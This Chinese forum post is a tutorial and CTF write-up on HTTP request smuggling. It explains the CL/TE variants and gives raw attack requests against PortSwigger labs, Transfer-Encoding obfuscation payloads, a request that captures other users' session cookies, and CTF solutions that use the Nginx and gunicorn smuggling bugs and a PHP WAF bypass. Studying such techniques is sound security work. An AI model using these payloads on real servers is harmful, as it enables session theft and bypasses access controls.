找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

583

积分

0

好友

81

主题
发表于 昨天 06:24 | 查看: 5| 回复: 0

最近在CTF解题中多次遇到HTTP请求走私相关的题目。最初是在GKCTF2021的hackme中,通过CVE-2019-20372(Nginx<1.17.7 请求走私漏洞)访问到Weblogic Console的登录页面,再利用Weblogic的历史漏洞读取flag。当时对走私漏洞的理解并不深入。随后在ISCC2022中,又遇到一道利用gunicorn<20.04请求走私漏洞绕过WAF的题目,这促使我系统地学习这一攻击技术。

发展时间线

早在2005年,Chaim Linhart、Amit Klein、Ronen Heled和Steve Orrin就共同完成了一份关于HTTP Request Smuggling攻击的报告。报告通过对RFC文档的详尽分析和丰富实例,论证了该攻击的危害性。

  • https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

2016年DEFCON 24上,@regilero在议题“Hiding Wookiees in HTTP”中对前述报告的攻击方式进行了丰富和扩充。

  • https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf

2019年BlackHat USA 2019上,PortSwigger的James Kettle在议题“HTTP Desync Attacks: Smashing into the Cell Next Door”中,针对现代网络环境展示了使用分块编码进行攻击的方法,扩展了攻击面,并提出了一套完整的检测利用流程。

什么是请求走私

在现代Web架构中,简单的一对一客户端-服务器结构已逐渐过时。为了更安全地处理客户端请求,服务器端常被分为两部分:前端服务器与后端服务器。前端服务器(如代理服务器)负责安全控制,只有被允许的请求才会转发给后端服务器;而后端服务器则无条件信任前端转发的所有请求并予以响应。

关键在于,必须保证前后端服务器对HTTP请求包边界的判定一致。如果两者在处理请求时存在差异,攻击者就可能构造一个特殊的HTTP请求包,绕过前端服务器的安全策略,直接访问到后端服务器上本应禁止访问的服务或接口,这就是HTTP请求走私攻击。

听起来有点像SSRF?但两者有本质区别:SSRF是利用内网机器直接访问内网资源,而请求走私则非如此。下图可以形象地理解其“夹带私货”的本质:

图片

漏洞成因与常见类型

HTTP请求走私攻击比较特殊,它不像常规Web漏洞那样直观。其根源在于复杂网络环境下,不同服务器对RFC标准的实现方式与程度不同。因此,对于同一个HTTP请求,不同服务器可能产生不同的解析结果,从而引入安全风险。

在学习之前,先了解HTTP/1.1中两个广泛应用的特性:Keep-AlivePipeline

Keep-Alive & Pipeline 通过在HTTP请求中设置Connection: Keep-Alive头部,可以告知服务器在完成本次请求后不要关闭TCP连接。后续对同一目标服务器的请求可以复用这个TCP连接,从而减少握手开销、节约资源并提升速度。该特性在HTTP/1.1中默认开启。

在Keep-Alive的基础上,客户端可以像流水线一样连续发送多个HTTP请求,而无需等待服务器的响应,这就是Pipeline。服务器端必须遵循先入先出原则,严格匹配请求与响应,再将响应依次发回客户端。如今浏览器默认不启用Pipeline,但多数服务器仍支持此特性。

CL & TE CL和TE分别指Content-LengthTransfer-Encoding请求头(严格来说前者是实体头)。其中Transfer-Encoding(HTTP/2不再支持)用于指定请求主体的传输编码方式,常见值有chunkedcompressdeflategzipidentity

对于TE,我们重点关注chunked(分块传输编码)。当使用TE: chunked时,Content-Length头通常会被省略。为了标识每个数据块的边界,需要在每个块前用16进制数表示当前块的长度,后跟\r\n,然后是块内容,最后再用\r\n标识块结束。最终以一个长度为0的块(终止块)表示数据结束。例如:

POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
6
hahaha
0

注意\r\n占2字节,计算长度时容易忽略。该请求的字节流形式为: POST / HTTP/1.1\r\nHost: 1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n

常见走私类型

  1. CL不为0 如果前端代理服务器允许GET请求携带请求体,而后端服务器不允许,后端就会忽略GET请求中的Content-Length头,可能导致请求走私。例如构造:

    GET / HTTP/1.1\r\n
    Host: example.com\r\n
    Content-Length: 43\r\n
    \r\n
    GET /admin HTTP/1.1\r\n
    Host: example.com\r\n
    \r\n

    前端服务器视其为一个请求,而后端服务器可能将其解析为两个请求。

  2. CL-CL 根据RFC7230规定,服务器收到包含两个不同值Content-Length头的请求时,应返回400错误。但这并非强制要求。如果服务器不严格遵守此规定,就可能导致走私。 假设前端按第一个CL处理,后端按第二个CL处理,构造如下请求:

    POST / HTTP/1.1\r\n
    Host: example.com\r\n
    Content-Length: 8\r\n
    Content-Length: 7\r\n
    \r\n
    12345\r\n
    a

    前端判断body为8字节并转发。后端判断body为7字节,最后一个字节a会滞留在其缓冲区。当下一个正常请求GET / HTTP/1.1\r\nHost: example.com\r\n\r\n到达时,会被拼接为aGET / HTTP/1.1\r\nHost: example.com\r\n\r\n,导致请求被篡改。

  3. CL-TE 即前端服务器优先处理Content-Length(或不支持Transfer-Encoding),而后端服务器优先处理Transfer-Encoding。可以构造一个body中带有表示结束的0字节的请求包。前端通过CL判断并转发,后端使用TE解析,会将0之后的数据滞留在缓冲区,与下一次正常请求拼接。 以PortSwigger的靶场为例: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te 构造请求:

    POST / HTTP/1.1
    Host: ac721f8e1fcb0119c0b98800005c0061.web-security-academy.net
    ... (其他头部)
    Content-Length: 10
    Transfer-Encoding: chunked
    
    0
    
    A

    连续发送几次,会发现字母A被拼接到后续请求中。

    图片

  4. TE-CL 与CL-TE相反,即前端处理TE,后端处理CL。同样可构造恶意请求。使用PortSwigger靶场: https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl 构造请求:

    POST / HTTP/1.1
    Host: ac901ff41f9aa7fdc0ce7b16001000db.web-security-academy.net
    ... (其他头部)
    Content-Length: 4
    Transfer-Encoding: chunked
    
    12
    WPOST / HTTP/1.1
    
    0
    

    Body部分为\r\n12\r\nWPOST / HTTP/1.1\r\n\r\n0\r\n\r\n。前端处理TE,读到0\r\n\r\n后认为请求结束并转发。后端处理CL,只读取4字节\r\n12后认为请求结束,剩余的WPOST / HTTP/1.1\r\n\r\n0\r\n\r\n会被当作另一个请求,导致报错。

    图片

  5. TE-TE 前后端服务器都支持Transfer-Encoding,但通过混淆能让它们在处理时产生分歧。 靶场: https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header 构造请求,混淆TE头:

    POST / HTTP/1.1
    Host: ace41f161f1a1382c0814ee300db0086.web-security-academy.net
    ... (其他头部)
    Content-Length: 4
    Transfer-Encoding: chunked //两种TE造成混淆
    Transfer-Encoding: cow
    
    5c
    WPOST / HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 15
    
    x=1
    0
    

    多次发送后,会产生走私效果。

    图片

    除了这种混淆方式,PortSwigger团队还给出了其他可用于混淆的payload:

    Transfer-Encoding: xchunked
    Transfer-Encoding[空格]: chunked
    Transfer-Encoding: chunked
    Transfer-Encoding: x
    Transfer-Encoding:[tab]chunked
    [空格]Transfer-Encoding: chunked
    X: X[\n]Transfer-Encoding: chunked
    Transfer-Encoding
    : chunked

走私攻击应用实例

  1. 使用CL-TE走私获取其他用户的请求 靶场: https://ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net/ 页面是一个博客,用户可以发表评论。利用前后端服务器对请求头的处理差异,通过CL-TE方式可以获取其他用户的请求头。构造如下请求:

    POST / HTTP/1.1
    Host: ac991f4d4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
    Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
    Content-Length: 333
    Transfer-Encoding:chunked
    Content-Type: application/x-www-form-urlencoded
    
    0
    
    POST /post/comment HTTP/1.1
    Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
    Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
    Content-Length: 700
    Content-Type: application/x-www-form-urlencoded
    
    csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring

    前端使用CL(333)验证并转发。后端使用TE,读到0\r\n\r\n后认为前半部分是完整请求。后半部分因Pipeline机制被滞留在缓存区。当另一个用户发表评论时,其请求会被拼接到滞留请求之后,从而可能泄露该用户的Cookie等信息。实际操作中需要调整第二个CL的大小至合适值。

  2. 泄露请求头重写请求实现未授权访问 前端服务器通常会为转发的请求添加一些头部,如会话ID、XFF头(或自定义IP头)、用户指纹、Token等。如果能让服务器将重写后的请求头泄露出来,就能伪造前端服务器的请求,实现未授权访问。 靶场: https://acbc1f4d1e121980c02b64d600c40022.web-security-academy.net/ 构造请求:

    POST / HTTP/1.1
    Host: acbc1f4d1e121980c02b64d600c40022.web-security-academy.net
    ... (其他头部)
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 77
    Transfer-Encoding:chunked
    
    0
    
    POST / HTTP/1.1
    Content-Length: 70
    Connection:close
    
    search=111

    多次发送,成功泄露了前端添加的XFF头信息。

    图片

    过程简析:前端通过CL(77)判断为完整请求并转发。后端通过TE解析,将0字节前部分正常处理,后半部分(走私请求)滞留。由于走私请求的CL(70)大于其实际body长度(search=111),缓存区会等待后续请求的头部信息来“凑够”长度,并将这些头部拼接到search参数值后返回。

  3. 其它应用 除了上述两种,请求走私还可与其他漏洞结合,例如:

    • 与反射型XSS组合利用。
    • 将站内重定向变为开放重定向。
    • 缓存投毒。
    • 缓存欺骗。 更多实验细节可以参考相关技术文章。

CTF实战利用

GKCTF2021 - hackme 题目首先需要NoSQL注入获取密码,登录后获得任意文件读取功能。读取nginx配置文件发现后端存在Weblogic服务,且Nginx版本为1.17.6。 该版本存在CVE-2019-20372请求走私漏洞(Nginx < 1.17.7)。参考相关分析,可构造走私请求访问后端Weblogic的console。构造请求包如下:

GET /test HTTP/1.1
Host: node4.buuoj.cn:27230
Content-Length: 0
Transfer-Encoding: chunked

GET /console/login/LoginForm.jsp HTTP/1.1
Host: weblogic

从响应中获知WebLogic版本为12.2.1.4.0,符合CVE-2020-14882漏洞条件,利用该漏洞即可获取flag。

RCTF2019 - esay calc 常规WAF绕过:访问calc.php?num=;)phpinfo();//会被WAF拦截。一种绕过方法是在参数前加空格并使用ASCII编码读文件:? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

利用请求走私绕WAF:目标是让前端服务器报错,从而绕过其WAF限制。上述几种走私方式(如CL-CL, CL-TE)在本例中都可能有效。

ISCC2022 - 让我康康! 直接访问/flag返回403。从响应头中发现gunicorn/20.0.0。该版本存在请求走私漏洞,具体可参考相关分析。 题目要求获取前端服务器添加的、用于标识来源IP的请求头名称,以伪造本地访问。 思路是利用多次请求进行走私。设置第一个请求的CL远大于实际body长度,使后端服务器在Keep-Alive连接中等待更多数据。紧接着发送第二个请求,前端服务器会转发带有来源IP头部的数据包给后端。后端接收足够数据后,会将包含敏感头部信息的数据包一并返回给客户端,造成信息泄露。 这是一种变种的CL-TE走私,利用了gunicorn 20.0.0默认对Sec-Websocket-Key的处理特性,以xxxxxxxx作为标识位。 通过Burp构造请求或编写Socket脚本均可实现利用,最终获取到头部名称为secr3t_ip,将其值设置为127.0.0.1即可访问/fl4g获取flag。

Reference

  • https://regilero.github.io/tag/Smuggling/
  • https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
  • https://paper.seebug.org/1048
  • https://xz.aliyun.com/t/7501

图片




上一篇:LangGraph多智能体开发实战:从零构建带记忆与工具调用的AI应用
下一篇:奔驰经典车零件网站SQL注入漏洞实战:基于搜索功能的漏洞分析与复现
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-10 20:46 , Processed in 0.077307 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表